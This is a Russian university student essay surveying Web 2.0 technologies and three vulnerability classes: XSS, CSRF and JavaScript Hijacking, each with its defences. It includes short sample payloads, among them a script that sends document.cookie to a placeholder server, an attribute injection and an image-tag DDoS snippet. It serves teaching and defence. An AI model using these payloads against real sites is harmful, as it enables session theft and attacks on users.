Уязвимости Web 2.0

НОВОСИБИРСКИЙ ГОСУДАРСТВЕННЫЙ УНИВЕРСИТЕТ
ФАКУЛЬТЕТ ИНФОРМАЦИОННЫХ ТЕХНОЛОГИЙ
Информационнаябезопасность
Реферат
Уязвимости Web 2.0
Студент группы 8204
Альперин Борис
Введение
В настоящее время все больше и больше число веб-приложений работают по модели «Web
2.0». Согласно определению Тима О’Рейли, Web 2.0 - методика проектирования систем, которые
путём учета сетевых взаимодействий становятся тем лучше, чем больше людей ими пользуются.
Появление данного термина принято связывать со статьей «Tim O’Reilly — What Is Web 2.0», в
которой автор связывает появление большого числа сайтов, объединённых некоторыми общими
принципами, с общей тенденцией развития интернет-сообщества, и назвает это явление Веб 2.0, в
противовес «старому» Веб 1.0. «Web 2.0» не является чем-то революционным, а лишь
продолжает использовать технологии и концепции «Web 1.0». Ниже перечислено несколько
примеров использования подхода web 2.0:


Википедия. Многоязычный проект по созданию полноценной и точной энциклопедии со
свободно распространяемым содержимым. Представляет собой базу справочной
информации с предоставлением практически каждому пользователю возможности
редактировать данные.
Сайты совместного документопользования. Подобные сервисы дают пользователям
возможность одновременного и совместного использования документов – можно
создавать, изменять, удалять информацию, доступную для общего пользования..
Web 2.0 приложения используют технологии, не применявшиеся в приложениях предыдущего
поколения, что обуславливает расширение списка уязвимостей, характерных для web 2.0
приложений. В данном реферате дается обзор распространенных уязвимостей, характерных для
web 2.0 приложений, описываются схемы их экплуатации и методы защиты.
Технологии
В этом разделе перечисляются основные технологии, используемые при применении подхода
«Web 2.0».
AJAX
AJAX ( Asynchronous Javascript and XML — «асинхронный JavaScript и XML») — подход к
построению пользовательских интерфейсов веб-приложений, заключающийся в асинхронном
обмене данными браузера с веб-сервером. В результате такого омбена, веб-страница
обновляется не полностью, а только в необходимых частях. Типичная схема работы ajaxприложения следующая: пользователь выполняет некоторое действие (например, щелчок на
кнопке), вывается обработчик данного действия, который посылает запрос на сервер. Сервер
обрабатывает ответ и возвращает результат, который затем интерпритируется обработчиком
(например, обработчик может обновить страницу данными, пришедшими с сервера ). В качестве
обработчиков на клиенской стороне может использоваться код на javascript, задействующий
объект XHttpRequest для отсылки данных на сервер и манипулирующий DOM для обработки
ответа сервера. В качестве протоколов обмена данными между клиентом и сервером обычно
используется JSON или XML.
Веб-службы
W3C определяет понятие «Веб-службы» как программная система, разработанная для
кроссплатформенного взаимодействия по сети. Описание этой программной системы может быть
найдено другими программными системами, которые могут взаимодействовать с ней согласно
этому описанию посредством сообщений, основанных на XML, и передаваемых с помощью
интернет-протоколов.
Используемые стандарты:



XML: Расширяемый язык разметки, предназначенный для хранения и передачи
структурированных данных;
SOAP: Протокол обмена сообщениями на базе XML;
WSDL: Язык описания внешних интерфейсов веб-службы на базе XML;
RSS/Atom
RSS — семейство XML-форматов, предназначенных для описания лент новостей, анонсов статей,
изменений в блогах и т. п. Информация из различных источников, представленная в формате RSS,
может быть собрана, обработана и представлена пользователю в удобном для него виде
специальными программами-агрегаторами.
Mash-up
Mash-up – web-приложение, объединяющее данные из нескольких источников. Например,
приложение, агрегирующее RSS-потоки, является mash-up. Контент, используемый в mash-up,
обычно получено от третьих лиц через открытый интерфейс или API. Архитектура веб-мэшапов
всегда состоит из трёх частей.



Провайдер содержимого — это источник данных. Данные доступны через API и различные
веб-протоколы, такие как RSS, REST и веб-сервисы.
Мэшап-сайт — это веб-приложение, предлагающее новый сервис, использующий не
принадлежащие ему источники данных.
Браузер клиента — собственно пользовательский интерфейс мэшапа. В веб-приложениях
содержимое может быть «замэшаплено» клиентским браузером с использованием
клиентского языка программирования, например JavaScript.
Уязвимости
В этом разделе перечислены основные уязвимости, встречающиеся в Web 2.0 приложениях.
XSS (Сross Site Sсriрting )
Описание
XSS возникает при внедрении на станицу сайта-жертвы пользовательских
скриптов. По механизму исполнения атаки XSS условно можно разделить на активные и
пассивные. Пассивные XSS подразумевают, что скрипт не хранится на сервере
уязвимого сайта, либо он не может автоматически выполниться в браузере жертвы. Для
срабатывания пассивной XSS требуется некое дополнительное действие, которое
должен выполнить браузер жертвы (например, клик по специально сформированной
ссылке). В случае активной XSS вредоносный скрипт хранится на сервере, и
срабатывает в браузере жертвы при открытии какой-либо страницы заражённого сайта.
Каналы внедрения
Существует несколько способов внедрения вредоносных скриптов на страницу. Далее
перечислены некоторые из них:
1. Отсутствие фильтрации HTML-тегов в сообщениях пользователей. Некоторые ресурсы
(например, форумы, блоги, т.д.) позволяют пользователю использовать html-теги в
сообщениях. В случае недостаточной фильтрации злоумышленник может вставить тег
<javascript /> с вредосным скриптом.
2. Отсутствие фильтрации атрибутов и их значений разрешённых тегов. В случае
недостаточной фильтрации позволяет злоумышленнику вставлять в атрибуты html-тегов
javascript-код, например <img src=”http://example.com/some “
onmouseover=”javascript:doSome()” />
Последствия внедрения
1. Кража Cookies. Кража cookies является наиболее частым способом использования XSS.
Cookie могут содержать важные данные (например, идентификатор активной сессии)
Внедряемый скрипт, имея доступ к cookie, может передать их на другой сайт, например,
при помощи следующей конструкции:
<script>
var іmg = new Image(); іmg.srс = 'http://site/xss.php?' + document.cookie;
</script>
2. Кража данных их форм
Вредренный на страницу скрипт может переопределить событие onSubmit, возникающее
перед отправкой данных, введенных в форму таким образом, что введенные данные
сначала отправляются на сервер злоумышленника. Данный тип атаки похож на фишинг,
но вместо поддельного сайта используется реальный, что вызывает большее доверие
жертвы.
3. DDOS-атака
XSS-уязвимость на многопосещаемых ресурсах может быть использована для
проведения DDoS-атаки. Для проведения атаки достаточно конструкции вида
<img src=”http://example.com/url” />
4. XSS-черви
Данный тип атаки может использоваться в приложениях, позволяющее
взаимодействие пользователей, например, социальных сетях. Нескольким
пользователям соцсети посылается ссылка с XSS-уязвимостью, когда они
перейдут по ссылке, то внедренный скрипт рассылает сообщения другим
пользователям от их имени и т.д. При этом могут совершаться и другие действия,
например отсылка личных данных жертв злоумышленнику.
Методы защиты
1. Фильтрация пользовательского ввода. Необходимо фильтровать вводимые
пользователем сообщения: вырезать все теги, кроме разрешенных, проверять
атрибуты тегов и т.д.. Можно запретить html-разметку полностью, заменив ее на
альтернативную, например BBCodes (что не избавляет от необходимости проверять
атрибуты тегов и т.д.).
2. Кодирование в base64. Ден Каминский предложил следующую универсальную
схему защиты: введенные пользователем данные кодируются и сохраняются
в base64 представлении. Все выводимые на страницу блоки данных
изначально поступают в base64-представлении и отображаются через
задействование специального JavaScript-враппера, декодирующего base64-
строку и выводящего блок в заданную позицию без его интерпретации
браузером.
Cross-Site Request Forgery
Описание
CSRF (Сross Site Request Forgery — “Подделка межсайтовых запросов”) — вид атак на посетителей
веб-сайтов, использующий недостатки протокола HTTP.
Схема работы
При заходе жертвы на сайт злоумышленника от ее лица тайно отправляется запрос на другой
сервер (например, на сервер платежной системы), осуществляющий некоторую операцию
(например, перевод средств). Для осуществления атаки жертва должна быть авторизирована на
этом сервере и запрос не должен требовать подтверждения со стороны пользователя,
отправляющего запрос.
Для реализации атаки злоумышленник может использовать социальной инженерии, а также
технические уязвимости, такие как XSS и ошибки в реализации функции перенаправления.
Ресурсы подверженные данной атаке – различные интерактивные Web-приложения, например
системы электронной почты, форумы, CMS, интерфейсы удаленного управления сетевым
оборудованием. Например, злоумышленник может отправлять сообщения от имени других
пользователей, добавлять новые учетные записи, или изменять настройки маршрутизатора через
Web-интерфейс.
Методы защиты
1) Проверка заголовка Referer. Referer – один из заголовков протокола HTTP, содержащий url
источника запроса. Поскольку подделка HTTP-запросов заключается в передаче
запроса с третьего сайта, контроль исходной страницы, чей адрес автоматически
добавляется браузером в заголовки запроса, мог бы решить проблему. Но у данного
способа есть ряд недостатков:
a. Проблема обработки пустого Referer. Многие из персональных межсетевых
экранов и анонимизирующих proxy-серверов вырезают Referer, как
потенциально небезопасный заголовок.
b. Подделка Referer. В некоторых случаях Referer может быть подделан.
2) Добавление уникального параметра к каждому запросу, который тем проверяется на
сервере. Параметр может добавляться к URL при GET-запросе или в виде скрытого
поля формы. Значение параметра может быть произвольным, главное, чтобы
злоумышленник не мог его предсказать, например – значение сессии пользователя.
Javascript Hijacking
Описание
Браузеры используют Same Origin Policy для того, чтобы защитить пользователей от
злонамеренных сайтов. Для того чтобы JS-скрипт мог получить доступ к содержимому сайта, Same
Origin Policy требует их одинакового происхождения (Same Origin), т.е. и скрипт и веб-страница
должны принадлежать одному домену. Без Same Origin Policy злонамеренный сайт мог бы
содержать такой JS-скрипт, который загружал бы конфиденциальную информацию с других вебсайтов, используя параметры доступа (Cookies) клиента, и отправлял бы назад атакующему.
JavaScript Hijacking позволяет злоумышленнику обойти Same Origin Policy в том случае, если вебприложение использует JS для передачи конфиденциальной информации. Проблема в Same
Origin Policy заключается в том, что он позволяет выполнять JS с любого веб-сайта в контексте
другого сайта. Несмотря на то, что сайт не может исследовать напрямую какую-либо
информацию, загруженную с уязвимого сайта клиентом, он все же может воспользоваться этой
уязвимостью путем установки такого окружения, которое позволяет исследовать непосредственно
выполнение JS, а также другие важные стороны, которые могут повлечь за собой данное
обстоятельство.
Классы уязвимых приложений
В настоящее время многие веб-приложения используют JSON для передачи данных между
клиентом и сервером. JSON основывается на двух типах структур данных: массивы и объекты.
Любой формат передачи данных, в котором сообщения могут быть интерпретированы как одно
или более допустимое JS-выражение, уязвим к JavaScript Hijacking. JSON облегчает использование
данной атаки, так как JSON-массив представляет собой приемлемое JS-выражение. Ввиду того, что
массивы являются привычной формой передачи каких-либо списков данных, они повсеместно
используются веб-приложениями для передачи различных значений. С другой стороны, JSONмассив напрямую подвержен описываемой уязвимости. JSON –объект, в свою очередь, уязвим
только в том случае, если он заключен в другой JS-конструкции, которое представляет собой
допустимое JS-выражение.
Реализация уязвимости
Реализация уязвимости может быть произведена следующим образом:
Имеется клиент, который посредством XHttpRequest посылает запрос (на получение
конфиденциальной информации). Другие пользователи не могут иметь доступ к этим данным, не
зная идентификатор сессии пользователя. Идентификатор сессии пользователя хранится в cookie.
Сервер отвечает в виде массива в формате JSON. После получения данных от сервера клиент
выполняет результат с помощью eval.
Злоумышленник создает страницу, в которой подключает клиентский JS-код (который
использовался на оригинальной странице клиента) и злонамеренный код. При выполнении
клиентского кода, на сервер отправляется запрос с идентификатором сессии. Когда JSON-массив
будет доставлен клиенту, он будет выполнен в контексте злонамеренного сайта. Для того, чтобы
засвидетельствовать выполнение JSON, страница переназначила JS-функцию, использующуюся
для создания новых объектов. В данном случае злонамеренный код получает управление над
созданием каждого объекта путем обработки события на создание объекта и передает
содержимое объекта на сайт атакующего. Другие атаки вместо объектов могут переназначать
конструктор по умолчанию и для массивов.
Методы защиты
Существующие методы защиты от Javascript Hijacking:
1) Отклонение злонамеренных запросов. C позиции сервера, JS Hijacking-атака выглядит как
попытка осуществления CSRF, и защита против CSRF также поможет в борьбе против JS
Hijacking. Для того чтобы злонамеренные запросы было легче распознать, каждый запрос
должен включать трудный для подбора параметр. Один из способов реализации данного
подхода заключается в добавлении идентификатора сессии как параметра в Cookie. Когда
сервер получает такой запрос, он может проверить совпадает ли идентификатор сессии с
параметром в запросе. Злонамеренный код не имеет доступа к сессии в Cookie (они
являются предметом Same Origin Policy), поэтому для атакующего в данном случае нет
простого выхода из данной ситуации. Любой другой секретный параметр также может
быть использован вместо сессии в Cookie. До тех пор, пока секретный параметр
невозможно предугадать, и он появляется в том контексте, который доступен для
достоверного веб-приложения и не доступен с другого домена, атакующий не сможет
сделать верный запрос.
2) Предотвращение прямого выполнения JS ответа. Для того чтобы сделать невозможным
для злонамеренного сайта выполнить ответ, который включает в себя JavaScript,
приложение клиента может воспользоваться тем, что ему разрешено изменять данные,
которое оно получает перед тем как выполнить ответ, в то время как злонамеренное
приложение может лишь выполнить его, используя тэг <script>. Когда сервер
преобразовывает объект, тот должен иметь специальный префикс (и даже суффикс),
который сделал бы невозможным выполнение JS-скрипта посредством тэга <script>.
Приложение клиента может убрать дополнительные конструкции, перед тем как
выполнить ответ сервера.
Заключение
Web-приложения получают все большее распространение. Существует много Web 2.0
приложений, заменяющие аналогичные desktop-приложения: gmail, google docs, etc. Web 2.0
приложения используются в корпоративном секторе , в качестве примера таких приложений
можно привести проектные wiki, внутрикорпоративные порталы и соц. сети. Использование
данной модели построения приложений обуславливает появление новых уязвимостей,
эксплуатация которых может привести к весьма серьезным последствиям. В связи с этим
необходимо уделять внимание защите от указанных уязвимостей при разработке и эксплуатации
Web 2.0 приложений .
Список литературы
1. Tim O'Reilly: What Is Web 2.0. Design Patterns and Business Models for the Next Generation of
Software. 09/30/2005
2. Brian Chess, Yekaterina Tsipenyuk O'Neil, Jacob West: JavaScript Hijacking: Only 1 Out 12
Popular AJAX Frameworks Prevents It. 12/03/2007
3. Kaminsky Issues Developer Tool To Kill Injection Bugs
(http://www.darkreading.com/database_security/security/appsecurity/showArticle.jhtml?articleID=225700088&cid=RSSfeed_DR_News)
4. Ликбез по уязвимостям в веб-приложениях, а также самые частые ошибки разработчиков
(http://habrahabr.ru/blogs/web_security/125727/)
5. Множественные CSRF уязвимости в крупнейших порталах Рунета
(http://habrahabr.ru/blogs/infosecurity/126409/)